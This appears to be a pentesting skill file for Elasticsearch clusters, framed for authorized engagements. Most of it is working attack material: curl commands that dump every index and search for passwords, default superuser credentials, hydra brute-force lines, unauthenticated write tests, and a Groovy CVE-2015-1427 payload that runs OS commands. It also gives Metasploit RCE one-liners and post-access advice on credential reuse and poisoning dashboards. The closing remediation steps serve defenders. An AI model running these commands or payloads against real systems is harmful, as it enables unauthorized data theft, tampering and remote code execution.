name: pentesting-elasticsearch description: Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- database
- elasticsearch version: '1.0' author: xalgorix license: Apache-2.0
Pentesting Elasticsearch (port 9200)
When to Use
- Default
9200/tcp(REST/HTTP API),9300/tcp(node-to-node transport). - Accessed over HTTP — browsing
http://<IP>:9200/returns a JSON banner (cluster name, version, Lucene version). - Use whenever 9200 is reachable — Elasticsearch ships with authentication disabled by default, exposing all indices.
Quick Enumeration
# Banner / version
curl -s http://<IP>:9200/
# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)
nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'
Critical: Checks Most Often Missed
- Authentication disabled (default) → full index dump — the #1 miss. Without X-Pack security, every index and document is world-readable.
- How to CONFIRM:
curl http://<IP>:9200/returns the banner andcurl http://<IP>:9200/_cat/indices?vlists indices. The_xpack/security/user500 error confirms security is off.
- How to CONFIRM:
- Default / weak credentials (when auth on) — HTTP basic auth with defaults:
elastic(superuser),kibana,logstash_system,beats_system,remote_monitoring_user,apm_system; old versions default passwordchangeme.- How to CONFIRM:
curl http://elastic:changeme@<IP>:9200/returns data; brute force via any HTTP-basic tool.
- How to CONFIRM:
- Write access to indices — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
- How to CONFIRM:
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}'succeeds and the new index appears in_cat/indices.
- How to CONFIRM:
- Dynamic scripting RCE (legacy clusters) — old versions allow server-side script execution leading to RCE:
- CVE-2014-3120 — MVEL dynamic scripting enabled by default in ES < 1.2 (
_searchwith ascriptfield → code exec). - CVE-2015-1427 — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (
script_fieldsGroovy payload → OS command exec). - How to CONFIRM: a crafted
_searchwith a Groovy/MVELscriptreturns the output ofjava.lang.Runtime.getRuntime().exec(...); Metasploitscript_mvel_rce/script_jvm_rceconfirm.
- CVE-2014-3120 — MVEL dynamic scripting enabled by default in ES < 1.2 (
Workflow
Step 1: Enumerate
curl -s http://<IP>:9200/ # version banner
curl -s http://<IP>:9200/_cat/indices?v # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user # roles/users (if auth on)
curl -s http://<IP>:9200/_cat # supported _cat endpoints
Step 2: Authenticate (open access, default/weak creds, brute force)
curl -s http://<IP>:9200/_cat/indices # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/ # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /
Step 3: Exploit / Extract (dump indices + scripting RCE)
# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"
# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
-d '{"bookId":"A00-3","author":"x","name":"test"}'
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
"size": 1,
"script_fields": {"x": {"lang":"groovy",
"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run' # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427
Step 4: Post-access / privilege escalation / pivot
- Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
- A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
- On RCE the script runs as the
elasticsearchuser — enumerate host, sudo, and adjacent ELK components (Logstash, Beats). - Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.
Key Concepts
| Concept | Description |
|---|---|
| REST/HTTP API | All interaction is HTTP on 9200; browser/curl give full access when auth is off. |
| Index / document | An index is a JSON document collection; _search queries return documents. |
| Auth disabled default | X-Pack security off by default → unauthenticated full read (and often write). |
| size parameter | _search defaults to 10 results; set size=N to dump entire indices. |
| _cat / _cluster / _security | Diagnostic endpoints exposing indices, health, users, and roles. |
| Dynamic scripting | Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE. |
Tools & Systems
| Tool | Purpose |
|---|---|
| curl | Primary client for banner, index listing, dumping, write tests, scripting RCE. |
| nmap NSE | http-* scripts + version detection; nmap-elasticsearch-nse enumerates indices/plugins/nodes. |
| Metasploit | scanner/elasticsearch/indices_enum, exploit/multi/elasticsearch/script_mvel_rce (CVE-2014-3120), search_groovy_script (CVE-2015-1427). |
| hydra / medusa / ffuf | HTTP basic-auth brute force against /. |
| horuz | Fuzz Elasticsearch endpoints/indices. |
| Kibana (5601) | Linked frontend, frequent pivot for visualization-layer attacks. |
Common Scenarios
Scenario 1: Open cluster → mass data dump
curl http://<IP>:9200/_cat/indices?v lists customers, logs-* indices. _search?size=9999 exfiltrates every document, including plaintext PII and access logs with session tokens.
Scenario 2: Default elastic creds
Security is enabled but the elastic superuser still uses changeme. curl -u elastic:changeme http://<IP>:9200/_security/user enumerates all accounts and grants full cluster control.
Scenario 3: Legacy Groovy RCE
An ES 1.4.2 node allows dynamic scripting. A script_fields Groovy payload runs id, returning uid=...elasticsearch, escalating from data access to host command execution.
Output Format
## Elasticsearch Finding
**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
- curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
- curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
- _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
3. Change all default account passwords (elastic, kibana, logstash_system).
4. Disable dynamic scripting on legacy versions and upgrade to a supported release.